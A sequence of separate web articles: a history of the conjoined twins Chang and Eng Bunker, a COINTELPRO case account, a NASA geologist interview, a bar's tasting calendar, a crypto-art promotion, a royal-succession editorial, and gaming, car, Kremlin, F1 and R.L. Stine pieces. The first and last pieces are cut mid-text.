covering her face, and the response is at first muted, depressed. Then, she raises her hand and waves; the scarf is there to protect her from the hot sun. Some of the PLA's most hardened troops laugh and cheer like schoolboys. This one is alive.  Click here to have your say  We’ll tell you what’s true. You can form your own view.  At The Independent, no one tells us what to write. That’s why, in an era of political lies and Brexit bias, more readers are turning to an independent source. Subscribe from just 15p a day for extra exclusives, events and ebooks – all with no ads.  Subscribe now
-Chang and Eng Bunker  Surry County’s Original Siamese Twins  By Dr. Annette Ayers *  Reprinted with permission from the Tar Heel Junior Historian, Fall 2008.  Tar Heel Junior Historian Association, NC Museum of History  Chang and Eng Bunker were born in 1811 in Siam, a country in Asia now known as Thailand. These twins were conjoined (born with their bodies joined together)—attached by a four-inch-wide band of flesh they eventually stretched to five inches so they could stand beside each other. Their names, Chang and Eng, meant left and right. They were given the label “original Siamese twins” because they were the first conjoined twins to be described in that way and the first conjoined twins ever seen by a lot of people. Siamese twins remain rare today; they must be identical and of the same gender, and only 30 percent are male. It is rare for conjoined twins to live to adulthood. Chang and Eng were unique because they lived to be more than sixty years old, and they are the only Siamese twins known to have married and had children.  The twins’ father died when they were about eight years old. Young Chang and Eng helped provide for their mother, brothers, and sisters by selling duck eggs in their village. (Throughout their lives, they would be known as successful businessmen.) When they were thirteen, a Scottish merchant named Robert Hunter noticed the unique twins and asked the king of Siam for permission to take them to Europe. The king refused because he did not like Hunter. Hunter and a friend, Captain Abel Coffin, offered the twins’ mother three thousand dollars. They paid her only five hundred dollars and would never return Chang and Eng to Siam as they promised to do. But since the king liked Coffin, he finally gave the man his permission to take the twins out of the country.  The eighteen-year-old twins signed a contract with Coffin. This written contract has been passed down through the Bunker family and is preserved in Surry County today. In the United States and Europe, the twins went on display for curiosity seekers to view, in exchange for a fee. Chang and Eng toured with Coffin for three years but did not get a fair share of the profits. He paid them ten dollars a month plus expenses, then later fifty dollars a month. The tours usually earned one thousand dollars a month.  The twins were very intelligent and quickly learned to speak English, improved their education, and became more and more interested in the world. Chang and Eng never traveled as part of a circus but held many exhibitions in public buildings—giving lectures, performing acrobatic stunts, and demonstrating their physical strength. In 1832 the twins stopped touring with Coffin so they could make more money. They began to manage their own affairs and schedule their own tours throughout the United States and Canada. Everywhere they traveled, local doctors examined Chang and Eng. These examinations satisfied the doctors’ curiosity, proved the twins’ bodies were attached, and provided publicity for their shows.  While touring in New York, the twins met and became friends with Dr. James Callaway from Wilkesboro. Callaway invited Chang and Eng to visit his home and go hunting and fishing. Tired and needing a vacation in 1839, the twins did just that. They liked the quiet and peaceful area, decided to purchase land nearby, and moved to Wilkes County, where they became naturalized American citizens on October 12, 1839. Naturalized citizens had to have a surname (last name), and Chang and Eng had never had one. They chose the name of an American friend from New York: Bunker.  As wealthy landowners, the Bunkers participated in local social events. They soon met Adelaide and Sarah Yates, daughters of a wealthy farmer. Chang fell in love with seventeen-year-old Adelaide, and they wanted to marry. Eighteen-year-old Sarah eventually agreed to marry Eng. The sisters’ parents and neighbors immediately objected. Chang and Eng traveled to Philadelphia, Pennsylvania, to consult a surgeon about being separated. The surgeon refused, describing such surgery as too dangerous. The parents of Adelaide and Sarah finally agreed to the marriages, which took place April 13, 1843, at the Yates family home in Wilkes County. The two couples began their married lives in a house in the Trap Hill community.  The twins prospered and moved to Surry County, where they came to own more than one thousand acres of land and twenty-eight enslaved people. They lived together in one house for nine years, but their wives began to quarrel. Starting in 1852, Sarah and Adelaide lived in separate houses. Chang and Eng agreed to reside in one house for three days, in which that brother made all the decisions without question. They spent the next three days at the other twin’s house, where he made all the decisions. The Bunkers faithfully held to this arrangement the rest of their lives.  The twins returned to touring between 1849 and 1870 to support their large families. Chang and Adelaide had ten children, and Eng and Sarah had eleven children. The twins met many important people, including President Andrew Johnson and Queen Victoria of England.  Throughout their lives, Chang and Eng consulted various surgeons in America, England, and Scotland, to determine if they might be separated. All the surgeons agreed the risk was too great. Returning home from the 1870 tour, Chang suffered a stroke that left his right side partially paralyzed. As the brothers grew older, their health began to decline, they quarreled more often, and they demanded that the local doctor perform surgery to separate them. He refused. Even today, doctors are not sure Chang and Eng would have lived if separated.  Chang died suddenly in January 1873, and Eng died several hours later. Their wives allowed surgeons in Philadelphia to autopsy the bodies. They discovered the twins had connected livers. Chang suffered a blood clot to the brain, but doctors could not determine the cause of death for Eng. It may have been shock. Fearing someone would steal the bodies, the family buried the twins in the basement of Chang’s house, and later, in the front yard. When Adelaide died in 1917, the twins were reburied next to her at White Plains Baptist Church near Mount Airy. Sarah is buried at Eng’s farm, although her name is included on the church tombstone.  Philadelphia’s Mutter Museum—which features medical rarities—has a display of Chang’s and Eng’s connected livers, castings of their joined torsos, and a special chair built for them. More than a thousand descendants of the Bunker twins live in Surry County, where the family hosts a yearly reunion, and numerous descendants live across the country.  Dr. Annette Ayers is a part-time instructor at Surry Community College and an educational consultant. A member of the Tar Heel Junior Historian Association Advisory Board, she is a retired history teacher and served as the director of education and programs at the Mount Airy Museum of Regional History (2004–2007).
-(Image by Unknown Owner) Details DMCA  - Advertisement -  J. Edgar Hoover, director of the Federal Bureau of Investigation for forty-eight years, was one of the most feared men in Washington, D.C. while he was alive because of his extensive files into the private lives of the rich and the famous and the powerful. Hoover was also feared because of his violent responses to those he considered threats.  In the late 1960's, Hoover declared a clandestine war on the Black Panthers and other "black nationalist" groups as part of Operation COINTELPRO. A secret directive dated August 25, 1967 both authorized and mandated illegal harassment and targeting of domestic groups and U.S. citizens deemed a racial or political threat by Hoover.  In Omaha, the war on the Panthers was directed at a chapter of the party called the Nebraska Committee to Combat Fascism headed by Ed Poindexter and Mondo we Langa (then-David Rice). The attack on the two activists was personally directed by Hoover and his inner circle at the top of the FBI command structure.  - Advertisement -  Poindexter and Langa had been targets of COINTELPRO for their leadership roles in the Black Panther affiliate and were disliked by most local police for their sharp criticism of the shooting death of 14 year-old Vivian Strong by police in the summer of 1969. Both men further inflamed police hostility by their repeated use of the word "pig" to describe police officers.  On August 17, 1970 at 2:07 a.m. a powerful blast killed patrolman Larry Minard and injured seven others officers at a vacant house the police had been called to investigate. While uniform officers ran a dragnet arresting dozens of people in the hours and days following the bombing, the man in charge of the investigation, Asst. Chief Glen W. Gates, was meeting with the FBI to hatch a plot to convict Poindexter and Langa rather than find Minard's actual killers, betraying his fallen fellow officer.  Two days after the bombing, before Larry Minard's body was even buried, Hoover gave a command to drop the search for Minard's killers and instead make a case against the NCCF leaders, a plan agreed to by Gates. Hoover's verbal directive to rig the investigation was recorded by Ivan W. Conrad, the Asst. Director of the FBI Laboratory, on a COINTELPRO memo issued the day of the bombing. Conrad called Hoover to discuss the recommendation of the Omaha Special-Agent-in-Charge that police be only provided an informal, oral report on the lab's vocal analysis of the deadly phone call rather than a full investigatory report.  - Advertisement -  The voice of a killer, whose identity was unknown, presented a problem to what was now a police conspiracy. The headline in the Omaha World-Herald blared out "Voiceprint in Bombing to FBI Lab". According to the newspaper an Omaha Police spokesman said the voiceprint would be a "good investigative tool" to identify the man who made the call luring police to the deadly ambush.  Conrad, who apparently understood the implications of not issuing a formal lab report, asked Hoover about the Omaha SAC recommendation that, "an exception should be made in this case in order to assist the Omaha Police in developing investigative leads." The exception Conrad asked Hoover about was, "The results of an examination will not be furnished directly to the Police but orally conveyed through the SAC of Omaha."  Conrad scrawled on his copy of the COINTELPRO memo, "Dir advised telephonically & said OK to do" followed by his initials. Hoover gave approval to withhold the FBI Laboratory analysis and the lab director was able to keep the results permanently hidden. However, Conrad did keep up his end of the plot and gave the results to the Omaha SAC who in turn shared them with Gates.  Ultimately, 15 year-old Duane Peak confessed to planting the bomb that took Minard's life. Peak also claimed he made the emergency call and that Ed Poindexter and Mondo we Langa helped him build the bomb. Peak was offered a deal and became the state's chief witness against the two Panther leaders in exchange for a short sentence and his freedom. To keep the case from unraveling it was necessary for Peak to have been the caller as he claimed. However, there was one catch, the voice on the tape did not sound like Duane Peak but rather that of an older man.  On October 13, 1970, the Omaha SAC sent a memo directly to Hoover: "Assistant COP GLENN GATES, Omaha PD, advised that he feels that any use of this call might be prejudicial to the police murder trial against two accomplices of PEAK and, therefore, has advised that he wishes no use of this tape until after the murder trials of PEAK and the two accomplices have been completed."  Mondo we Langa says, "This is pretty clear indication of cloak and dagger stuff. We want you to do the analysis but we don't want you to put the results in writing. Communicate to us this way. So I suspect that somewhere between that memo and the prior one, the decision was made that the tape would not be part of the trial. A vital issue, a critical issue."  - Advertisement -  The tape recording was successfully kept from the defense and the jury that convicted Poindexter and Langa never got to hear the voice that made the fatal call. The original recording was destroyed several years after the trial and then in 1980 a reel-to-reel copy of the tape was found, quietly made by a dispatcher. In 2006, the recording was submitted to modern vocal analysis. Expert Tom Owens determined the voice on the tape was not that of Duane Peak, a conclusion apparently also reached by Conrad's technicians at the FBI Laboratory back in 1970 when the tape was withheld.  Peak served several years of juvenile detention and then gained his freedom. The unknown caller whose voice was captured on tape was never identified or brought to justice. Ed Poindexter and Mondo we Langa are serving life sentences at the maximum-security Nebraska State Penitentiary. Both men deny any involvement in Minard's murder.  Poindexter has an appeal pending before the Nebraska Supreme Court. Oral argument is scheduled for October. No date for a decision has been announced.
-Amitabha Ghosh , Chairman, Science Operations Working Group -- Mission Operations at the NASA Mars Exploration Rover Mission, has worked on Vesta -- an asteroid whose geological processes uncannily resemble those of Earth's -- and several generations of Mars missions, starting with the Pathfinder in 1997 and most recently, the Curiosity Rover. The NASA geologist speaks to ET in San Francisco about Mars, the future of space explorations out of India and the US, the debate over manned missions and about his Indian roots. Edited excerpts:  What's next after the Curiosity mission? Where will it eventually lead us to?  Can life survive on Mars? That's what we want to know. Water sustains life on Earth. And this decade, we have already verified the presence of water on Mars. Life on Earth is made of carbon and all life is made of organic compounds. This mission will verify if there are organic compounds on Mars or not. If there are, then the next step would be a biological mission to determine whether this Martian organic compound is animate or not.  What are the technical and financial challenges facing expensive government missions?  Whenever you go to another planet, you have to take into account engineering constraints, which are enormous and vary from case to case. For instance, where do you deliver the spacecraft? Suppose if Curiosity had landed on a rocky bed with boulders, it could have toppled: there could have been inherent risks to the spacecraft. Then there are atmospheric constraints like what is the atmospheric speeds. The landing site is chosen on many such parameters.  When it comes to sending humans to Mars though, it's not a technology issue. We have the technology. What we don't have is the money. Sure there's tremendous national pride. But can any country spend a trillion dollars to send its people to Mars? Even if we weren't in an economic recession, it's a hell lot of money!  What then is the long-term future of space explorations?  Any frontier explodes only when there is a commercial reason to do it. Look at the Internet: when it happened in a lab, nobody cared. But when cloud computing came up, it exploded.  The fundamental cost of getting out of orbit is enormous! And while a private company like SpaceX might take care of some parts, we are at a stage when we need to make a plausible business case to a venture capitalist. For instance, there are diamonds in space and so I'll go and get it. Therefore, the Google Lunar X Prize model, while commendable, might not be a valid business model. There isn't a compelling financial case for it. Even if you look at SpaceX, who is the primary customer? It's the government, which is certainly not a very good place to be at.  And if you look at startups wanting to fetch moon rocks, it's a niche market. Diamonds aren't that rare but De Beers sold a campaign, "A diamond is forever". Will a rich trader from China or India want to give a moon rock to their wife or girlfriend and pay a ton of money for it? Does the market want what you're bringing? Space exploration is yet to build a market and a fundamental business case and I'm afraid we aren't there yet.  Another huge thing is the advent of robotic space exploration. We have just sent three generations of rovers to Mars. Not only is it cheaper it's a lot easier than a human mission. And we will see a lot more countries get into it. You don't have to support life systems. You also forgo huge technical and financial challenges of the launch factor involved in a human mission: you have to launch from the gravity of not just your own planet, but also the other planet, because you have to bring these humans back to Earth.  If there was a specific economic reason it might still be possible. For instance, we can get iron ore and other geological resources (that we could run out of on Earth in 65 years or so) from other planets and asteroids. At some point, there will be a major geological resource scarcity. But even then, will we be able to justify the cost of a human mission? After all, we use robots for anything that's dangerous, dull or dirty. And this is dangerous. So, why take the risk of sending humans when robots can do the job better and cheaper? The only case for a human mission would be public fascination.  What about NASA? Are its golden days truly over, as believed?  First, it's not true that budget cuts have crippled NASA. Budget cuts have happened across all US government agencies and NASA can still deliver on tough projects. For some reason s-- perhaps a fascination for space -- the best people still come to work for NASA. So, unless the budget cuts get really drastic, NASA will do innovative projects. It already has a very aggressive portfolio of missions like a Mars Orbitter planned in 2013, and missions to Vesta and Pluto. Not all space agencies are as successful in attracting talent as NASA. And as long as it can, it will do just fine.  How does this compare with India's own space programme?  India is at a very interesting crossroads in space. Space is bipartisan. Everybody supports it, the BJP, the Congress, the public. Nobody is opposed to it. Chandrayaan was almost a matter of national pride. It's similar to the US space scene in the 1960s and the 1970s. ISRO's budget too has gone by almost seven times in the last few decades. And India has the public and political mandate to move ahead. But it does not yet have the technology heritage; this is something it has to build. For instance, it is nowhere near sending a human to space like say, China which is much ahead and has already sent a human to space.  The only caveat is that people in India need to understand that there will be frequent failures and you should be able to move ahead and go on in spite of them. Space -- and especially Mars, which India seems to be planning for -- is after all a risky business and everybody, including NASA have had very public failures.
-We invite our Facebook and Twitter fans to join us each month at Daddy-O (22 Bedford Street, NYC) to sample specialty cocktails, craft beer & rare spirits.  WHISKEY TASTING  MONDAY, MARCH 3  7:00 – 9:00pm  KICK OFF THE “IRISH” MONTH with Jameson Black Barrel  Unmistakably rich and smooth, Jameson Black Barrel will become your new favorite. It is matured in flame-charred bourbon barrels giving you aromatic notes of charred wood, deep spices and exotic fruit.  BEER TASTING  TUESDAY, MARCH 4  7:00 – 9:00pm  “BEER” FEST with Pickett’s Ginger Beer  What mixes with Pickett’s Ginger Beer? Just about everything… whether it’s Tito’s Vodka, a spiced rum, whiskey or in a cocktail, you really can’t go wrong.  VODKA TASTING  WEDNESDAY, MARCH 5  7:00-9:00pm  Absolut ELYX and CRAFT HERBACEOUS LEMON  ELYX is a silky textured vodka, which is a result of the single estate wheat, the manual operation and the old copper catalyzation process. The copper naturally catalyzes trace compounds in the spirit, purifying the vodka and adding a highly prized silky texture and taste.  CRAFT HERBACEOUS LEMON is a dead ringer for fresh lemon verbena; this vodka was created specifically for use by bartenders by London bartender Nick Strangeway.  WHISKEY TASTING  MONDAY, MARCH 10  7:00 – 9:00pm  SIMPLY IRISH – The Irishman Whiskey  Timeless and traditional Irish Whiskeys, distilled deep in the Carlow countryside, the heart of Ireland’s barley growing land.  Whether it’s the Founder’s Reserve or the Single Malt or the luxurious Irish Cream, you are certain to be delighted by the unique flavors and complexity of these whiskeys.  WHISKY TASTING  WEDNESDAY, MARCH 12  7:00 – 9:00pm  THE CLASSIC – The Glenlivet  Founded in 1824, The Glenlivet has been making great whisky for a very long time. There are many factors that help make The Glenlivet whiskies special, from the natural spring water from Josie’s Well to the altitude and weather conditions.  Come on by and go on a tasting tour of The Glenlivet – it’s a lot easier than taking a trip to Scotland!  WHISKEY TASTING  MONDAY, MARCH 31  7:00 – 9:00pm  CRAFT WHISKEY FROM UTAH – High West Whiskey  American Whiskey distilled at the first distillery in Utah since the 1870’s.  High West Distillery and Saloon started with one man’s passion to make a great Rocky Mountain Whiskey. Proprietor and distiller David Perkins married his background as a biochemist, his love of bourbon and cooking, and his passion for the American West to bring the craft of small- batch distilling back to Utah, of all places.
-POLICE were called to Portobello High Street after a member of the public complained about political comments on a board outside a sweet shop.  The board – which belongs to Portobello Alliance, a group of Yes campaigners from the independence referendum – had a message attacking Scottish Labour leader Kezia Dugdale and made reference to her predecessor Jim Murphy.  The board outside Favers in Portobello. Picture: Porty People/Facebook  The board accused Ms Dugdale of supporting cuts and added: “Kez backed Creepy Jim Murphy - the right-winger - and was anti-Jeremy Corbyn until recently.”  Mark Dempsey from Portobello Alliance said: “The police said someone had complained there was something slightly offensive on the board. But they had a look, shrugged their shoulder and went off.  “I think people are getting a bit over-excited because of the election – you wouldn’t ordinarily call the police about a message you didn’t like.”  He said the group had been using the board for a couple of years, changing the message regularly. “We thought it would put a smile on people’s faces. We should all be allowed to express ourselves. It would be great if other organisations stuck boards out to get their message across.”  A police spokesman said: “We received a complaint on Saturday in relation to the content on a sandwich board outside a business. Officers attended and established that no offence had been committed and no further police action was required.”
-Why investing crypto in a piece of Picasso makes sense.  Maecenas Blocked Unblock Follow Following Sep 8, 2017  At a time of mounting regulatory pressure on the crypto finance, the fine art market can provide a safe storage of value. Maecenas connects the two worlds and simultaneously makes fine art personally accessible to the people.  The crypto world has been recently subject to increasing regulation, especially the parts that provide liquidity to the market. Putting a lid on the source of liquidity in this market means increased volatility, in an already extremely volatile world, and price instability. Art is different. That’s why Maecenas is providing a bridge between the unstable but expanding crypto financial world and the safe haven of art.  Safer than stocks  Fine art is one of the most stable and profitable investments by far, even compared to the historically lucrative S&P 500 stock index, as can be plainly seen from the chart below.  Contemporary art has outperformed stocks in the last decade. A large majority of collectors buy art for investment.  Unlike in traditional art trading, buying a share in paintings on a Maecenas’ platform brings with it high liquidity. You can switch from a Picasso to a Monet in hours instead of months, with small shares being treated the same as large. By using the power of blockchain, you also get the peace of mind that the artwork you own is truly authentic and well-protected, at no additional costs to you.  Your contribution will also help small art galleries in your city to gain access to classical masterpieces, so you can be amazed by a Salvador Dalí in person and tell your friends you own a piece of the most famous paintings ever created. Maecenas will deliver transparency in the opaque world of art trading and enable small communities to disrupt a monopolised world that has been historically dominated only by well-heeled customers.  Simply put, the more people get involved in buying smaller pieces of art, the easier it will be to bring art back to the people. Where it belongs.  If you want to help make fine art accessible to everyone, contribute to Maecenas now to bring the best fine art masterpieces to the blockchain community, and tell your art-loving friends about Maecenas.
-Sadly it turned out to be no more than a seven-day wonder. On April 20 Vera Baird, the solicitor general, appeared entirely definite. The assumption in our law of succession that a man trumps a woman, that a younger son should take the throne ahead of an older sister, was a "load of rubbish", and the government was about to sweep it away.  Few declarations by a minister in the course of Gordon Brown's premiership can have commanded such backing. A poll for the Daily Telegraph found 78% in favour of change and a mere 12% defending the present arrangements - arrangements which may have made sense in times when Henry V stiffened English sinews on the eve of Harfleur, but today are simply a picturesque but indefensible hangover. It is even known that the Queen is sympathetic - this was ascertained when the Conservative peer Jeffrey Archer introduced a bill to just this effect a decade ago. It is hardly surprising that the Queen should approve of such a move. She is no second-best monarch. Even open-minded republicans acknowledge she has served Britain well. Yet had she had a brother, she would not have been permitted to do so.  Just as a man trumps a woman in the law of succession, so an attorney general trumps a solicitor general, and last week Ms Baird's superior, Baroness Scotland, ruled out any immediate change. There will still be a single equality bill drafted this year, but this reform won't be in it. Not that Lady Scotland ruled out reform altogether; it was the timescale that worried her. Changing the law would be complex; it would mean the repeal or amendment of much other legislation. And the Commonwealth would have to be asked. All of which may be true, but one might have thought that only a government exclusively manned by reactionary Tories would have left it at that. The arguments marshalled against this change endearingly echo those summoned up by diehards in the face of other necessary, belated and soon uncontroversial reforms, from the 1832 reform bill through the battles over votes for women to the end of the all-hereditary and almost all-male House of Lords. Tamper at your peril, they say. You risk disturbing that delicate balance on which our national welfare depends.  There are factors here that go beyond the mere dictates of logic. Warning against such a change, the historian Andrew Roberts quoted Bagehot's warning against letting daylight in upon magic. Perhaps that is why such a necessary and healthful change is so feared in such quarters: the more you let in the daylight, they calculate with a shudder, the more people may wonder what logical case can be made for keeping kings and queens in the 21st century.
-Upcoming PlayStation 4 exclusive The Order: 1886 does not feature multiplayer, its developer has confirmed.  Responding to a question on Twitter, Ready At Dawn chief technical officer and co-founder Andrea Pessino described The Order as a "single-player, third-person action adventure game".  "No multiplayer," he said.  The comment sparked a number of replies questioning the value of the game.  "Better to do one thing well than a whole bunch half-assed," Pessino replied. "We are trying to make a SP experience you will enjoy."  @TheRazorRex @elcuco786 Correct. No multiplayer, it is a single player, third person action adventure game. :) — Andrea Pessino (@AndreaPessino) February 6, 2014  The news comes as some surprise given some had expected The Order to feature Gears of War-style co-op.  The Order was announced during Sony's E3 2013 press conference with a cinematic that told us little about the game, save it was set in a Steampunk London alternate history 40 years after the Industrial Revolution.  According to the official blurb: "Man uses advanced technology to battle a powerful and ancient foe." You play as a member of an elite order of knights, joining a centuries-old war that will determine the course of history forever.  It's in development at Ready at Dawn, the studio behind the PlayStation Portable God of War games. Ready at Dawn co-founder Ru Weerasuriya has described The Order as a linear, story-based third-person action adventure with shooting mechanics and moment-to-moment gameplay that's "really not what you might expect".  Weerasuriya has also mentioned The Order having a "filmic" look due to the way Ready at Dawn is "shooting" the game. For more on that, and how Naughty Dog's Uncharted 2 influenced the game, check out our The Order interview from Gamescom 2013.
-This is the Grandfather of Every German Sports Sedan  Photography by John Whitney Jr.  Ask any owner of a modern high-performance luxury sedan–a BMW M5, a Mercedes E63 AMG–what the grandfather of the high-performance luxury sedan is, and you’re sure to get the same answer: cars don’t have grandfathers. That’s because M5 and E63 owners can’t be bothered with frivolous things like riddles and hypothetical questions. They’re too busy talking on their phone at stoplights.  But if you want the answer to this question, I’m here to deliver it to you. You can trace the lineage of all of these cars, cars that have for years captivated the minds of drivers interested in combining high-performance and practicality, to the 1968-1972 Mercedes-Benz 300SEL 6.3.  For those of you who aren’t familiar with the 300SEL 6.3, a little background. To start this venture, Mercedes engineer Erich Waxenberger–reportedly after being told by a German car journalist that he was building “granny cars”–took an S-Class and shoved in the 6.3-liter V8 from the 600, a limousine that was, at the time, the largest Mercedes in production.  Now, by modern standards, a 6.3-liter V8 in an S-Class doesn’t seem so crazy. But back then, the S-Class only came with 6-cylinder engines. And they were slow, even by the standard of the time, with base-level 250S models offering just 130 horsepower and a 0-to-60 time of around 13 seconds.  So now imagine taking that car and shoehorning a powerful limousine engine under the hood. And I mean powerful: it made around 250 horsepower and–wait for it–369 pound-feet of torque. Inside, the SEL 6.3 was a staid, traditional-looking Mercedes sedan that might be purchased by your grandfather, who would promptly place a box of tissues on the parcel shelf. Same thing with the exterior. But under the hood, there was a monstrous V8 capable of sending the car to 60 mph in around 6.5 seconds and gluing the tissues to the rear window. It was Mercedes’ version of the muscle car.  So exciting was the 6.3 that famed Mercedes engineer Rudolph Uhlenhaut caught wind of the project and insisted on driving the car. As Waxenberger tells the story, Uhlenhaut drove the car for only a few minutes before getting out at a traffic light. There, he opened the hood, just to see what the hell was making this car go so fast – and how they were able to squeeze the huge motor into the engine compartment.  Given its unprecedented status, sales expectations for the 6.3 were low. In a 1999 article from Classic & Sports Car, Waxenberger recalls that the Mercedes-Benz sales department never expected to sell even 50 units. But, says Waxenbrger, “in the end, they sold so fast I couldn’t get one for my own test department.” Mercedes ultimately built more than 6,500 examples of the 300 SEL 6.3.  If you want to own a 6.3 now–and who doesn’t?–be forewarned that the sedan has a lot of potential issues that might throw off a casual buyer. Every single unit left the factory with air suspension, and–given that these cars were made from December 1967 to September 1972–even the newest ones are more than 40 years old, which might mean trouble. I’d be happy if the air suspension in my Land Rover lasted ten years, let alone forty. Beyond the suspension, the 6.3’s heating/air conditioning system is notoriously complicated. And, of course, the 300SEL includes a wide variety of other age-related issues likely to affect an older car.  But mark my words: one day, the 300SEL 6.3 will find its rightful place on Concours lawns as the performance sedan that started it all. And owners of M5s and E63s will likely walk right by, phone glued to their ear, searching for something flashier, unaware that they’ve just crossed paths with a legend: the grandfather of the performance sedan.  Join the Conversation
-Paramedics push a stretcher at Turkey's largest airport, Istanbul Ataturk. REUTERS/Osman Orsal  MOSCOW (Reuters) - The Kremlin said on Wednesday it believed that the recent attack on Istanbul airport could be a result of Turkish and European security services ignoring Moscow’s signals about suspected “terrorists” hiding in Turkey and Europe.  “Over the past many years, the Russian side ... has informed our Turkish and European colleagues that persons suspected of being linked to terrorism ... find shelter both in Turkey and in a number of other European countries,” Kremlin spokesman Dmitry Peskov told a conference call with journalists.  “In most cases such signals from the Russian side have not been given proper attention or any reaction by our colleagues. To our regret, these (Istanbul attacks) can be a consequence of such disregard.”
-For thanks to the detailed wording of F1's Sporting Regulations, removing the uncertainty about Austin on the eve of the new season will mean teams are on course to get another engine for the season ahead.  Four engine limit  F1 had long been set on a plan to reduce power unit usage over the duration of the turbo hybrid era.  Having originally started with five power units for the first year with the new engines in 2014, the rules allowed teams to use just four power units from last season.  However, on the back of struggles that Honda faced in its first year, a mid-season rule change meant new manufacturers would be given an extra unit for their debut campaigns.  The four engine plan fitted perfectly with a 20-race schedule, but it was clear that stretching the units if the calendar expanded would perhaps be a step too far.  That is why from the off, there was always a concession in the regulations that if there were more than 20 races then an extra engine would be allowed.  Korea conundrum  Back in December 2014, the surprise inclusion of the Korean Grand Prix on a late 2015 21-race provisional calendar prompted speculation of a secret plan by Bernie Ecclestone to give teams a fifth engine.  It related to the original wording of the sporting regulations that stated: "This number [of engines] will be increased to five if the number of Events in the Championship, as originally scheduled, exceeds 20."  Korea's presence in a late draft of the calendar did not budge the FIA though on its stance that the first engine limit stood.  For its view was that the 'original' 20-race provisional calendar was the one that would be taken in to account, meaning four engines whatever the fate of the extra race.  In light of that situation, the rules regarding the number of engines was subsequently revised to make it clear that what mattered going forward was the state of the calendar when the season actually began.  Article 23.4 c) of F1's Sporting Regulations now states that the limit of four engines will: "be increased by one if the number of Events, as scheduled at the start of the first Event of the Championship, exceeds 20."  Australian confirmation  With the official classification of an Event beginning with final free practice, it means that on Saturday morning in Australia there will be 100 percent confirmation that it is five engines this year.  However, with there being no immediate doubt about other events – and Austin now having its future sorted – there is almost no chance of there being a change of plans within the next week.  Strategic options  Teams have so far been planning their equipment on the prospect of using four engines, so the addition of a fifth will open up some tactical options.  Some may choose to spread their mileage throughout the campaign, some may elect to hold back on the fifth as an end-of-season special, or some may simply stick to four and keep hold of the fifth as an emergency measure.  Mercedes engine boss Andy Cowell said at pre-season testing. "Our plans were all based on their being 20 races and there being four power units.  "Depending how the next two or three weeks go, it will determine how aggressive we are with running from Melbourne onwards.  "That will determine if we plan to use just four, and have that bonus engine which might help us out if we have a quality issue. Or it might help us out if we want to play a performance special.  "But we will work all that out in the days before Melbourne."
-Credit: Marvel Comics  Horror fiction icon R.L. Stine makes his comic book writing debut this week with Man-Thing #1. Working with artist German Peralta, Stine has revitalized the character of Man-Thing, making him a sardonic, sarcastic, self-aware swamp monster on a mission - in Hollywood, no less.  But jumping into comic books wasn’t a huge leap for Stine – the writer says his lifelong love of comic books began with E.C. horror titles and Mad Magazine, and that he once even harbored aspirations to be a cartoonist.  Newsarama spoke to Stine about Man-Thing, including the difference between prose and comic books, his history with the character, and why horror and humor matter in equal measure.  This article also contains new pages from Man-Thing #2.  Credit: Marvel Comics  Nrama: R.L., your writing has often been comic book adjacent – you’ve even included superhero-type elements in Goosebumps books - but Man-Thing is your first actual comic book work. What made Man-Thing the right opportunity to finally get into writing comic books?  R.L. Stine: They called me! [laughs] That’s it. No one had ever asked me to do a comic book before.  And I’ve always been a comic book fan, especially when I was a kid. I don’t read a lot now, not really, but I was a comic book freak when I was a kid. So this is really full circle for me. When I was in fourth grade, about nine years old, I started doing these little comic books, drawing the characters and passing them around in school.  Everyone told me “You can’t draw at all! This sucks!” and they were right, I couldn’t draw at all. But that’s really what I started out wanting to do, but I had no talent at all so I knew I had to be a writer. So this is kind of coming full circle for me  Nrama: There’s an old comic book saying that inside every failed artist is a great writer.  Stine: I failed right from the beginning! [laughs]  Nrama: Did you have any history with Man-Thing before taking on this title?  Stine: No, not really, but I have an affinity for swamp monsters! I did a Goosebumps book last year called “Here Comes the Shaggedy” that was a swamp monster story. It’s just very basic horror. It’s a frightening atmosphere, the whole environment. All these living things in the swamp, and it’s dark, and it’s wet - and then you have this beast, this caricature that is mostly not human. It’s very basic horror, I guess that’s why I’m drawn to it.  Nrama: The tone of Man-Thing #1 feels like a throwback to the days of Stan Lee and E.C. Horror comics. Knowing that you loved comics as a kid, and even had aspirations to draw them, what are the comic books that really struck you as a developing reader?  Stine: I’m old! When I was kid, those E.C. Comics were around. I’m ten years old and here’s Tales From the Crypt, and The Vault of Horror, and The Witch’s Cauldron. All those great E.C. books that were just terrifying, with this fabulous art. Those guys all went on to do Mad comics and Mad Magazine. And I was drawn to them because they were gruesome, horrible comics, but they always had a funny twist ending.  And the Crypt Keeper was always funny, he was always making puns. So I think it was this combination of humor and horror, that I think was just an enormous influence on me.  Credit: Marvel Comics  Nrama: Despite that more classic tone, there are some really deep, modern metatextual elements to Man-Thing #1. Is that something you saw in the character before taking this job?  Stine: No. You know, I don’t know. To me, I’m focused on the plot, I’m trying to be funny, I don’t think about things like that. I’m just a plot-driven guy, really. And then I thought I’d get it off to a funny start and show how Man-Thing is different by setting it in a studio in Burbank. He’s trying for a film career, but tests badly – he’s too ugly, he’s too scary for kids. So they kick him out - they don’t even fly him home – and I thought that was funny.  Nrama: You’re working with artist German Peralta.  Stine: Yes! He’s wonderful.  Nrama: Has writing for an artist changed your style at all?  Stine: No, not really. When I write a Goosebumps book, and I start a scene in the basement, you’ve gotta figure out what the basement looks like. The water’s leaking, the furnace comes on, there are spiderwebs. So even though I can’t draw, I’m thinking visually all the time while writing. It wasn’t really a very different process for me – in fact, it might have been a little easier. I didn’t have to write a description, I knew the artist could create that for me. I just concentrated on the story and the dialog.  Nrama: What’s your favorite thing German’s drawn for Man-Thing so far?  Stine: I love the scene where Ted Sallis’s car goes down into the water, and he’s down there, and he becomes Man-Thing, and rises up as Man-Thing. That’s my favorite thing from Man-Thing #1.  Nrama: There are also back-up stories in each issue of Man-Thing. What can you tell us about those?  Stine: That’s going back to my childhood, that goes back to Tales From the Crypt, those old fashioned horror comics. I collect those, I have a lot of those. So I thought maybe people would expect a horror story from me in the back of the book, so I’m doing these five short horror things.  Nrama: Are there any other Marvel characters you want to bring in, or cameos you’d like to do?  Credit: Marvel Comics  Stine: No, I haven’t done that yet. I’m writing the fifth one now, but it’s hard for a relative outsider, because I don’t really know the Marvel Universe that well. That’s one of the reasons I was drawn to Man-Thing, is that he’s mostly on his own so I didn’t have to worry about that. I’m kind of afraid if I really got into it, I wouldn’t know enough to be able to write stuff because the universe has so much history. So I picked Man-Thing because he’s in the swamp, he’s gone. So I haven’t used any Marvel characters.  I made up a few characters. There’s a character coming up - I don’t want to spoil everything - when Man-Thing goes back to the swamp, his old self drags himself back to 